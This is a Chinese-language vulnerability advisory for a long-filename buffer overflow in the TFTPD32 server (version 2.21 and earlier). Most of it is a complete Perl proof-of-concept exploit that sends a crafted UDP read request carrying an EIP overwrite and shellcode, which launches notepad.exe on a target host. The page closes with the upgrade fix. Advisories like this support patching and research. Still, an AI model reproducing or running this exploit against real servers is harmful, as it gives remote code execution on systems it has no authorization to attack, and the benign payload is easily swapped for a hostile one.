|
TFTPD32 超长字节文件名缓冲溢出缺陷 (阅览
次)
TFTPD32 是 WINDOWS9X/NT/XP 上的免费 TFTP 服务程序,支持 TFTPv2 协议的执行(TFTPv2 协议在RFC 1350中有详细说明)。
TFTPD32 对用户递交的文件名缺乏正确的边界检查,远程攻击者可利用此缺陷进行缓冲溢出攻击,精心构建并提交的恶意代码允许远程攻击者在受害者系统上执行任意指令。
受影响系统: *TFTP32 2.21 及以前版本
不受影响系统: *TFTP32 2.50.2 攻击方法:
#!/usr/bin/perl #TFTP Server remote Buffer Overflow use IO::Socket; $host = "192.168.1.53"; $port = "69"; $data = "A";
#$buf .= "\x00\x02"; # Send ---- Choose one $buf .= "\x00\x01"; # Recieve
$buf .= "A"; $num = "116"; $buf .= $data x $num; $buf .= "."; $num = "140"; # EIP section $buf .= $data x $num;
$address = "\xFF\xFF\xFF\xFF"; $buf .= $address;
$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2"; $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7"; $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C"; $egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB"; $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF"; $egg .= "notepad.exe";
$egg .= "\x90\x90\x90\x90\x90\x90"; $buf .= $egg;
$buf .= "\x00binary\x00";
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n"; $ipaddr = inet_aton($host) || $host; $portaddr = sockaddr_in($port, $ipaddr); send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n"; print "Now, '$host' should open up a notepad\n";
解决方案: 升级到不受影响版本 TFTP32 2.50.2
返回
|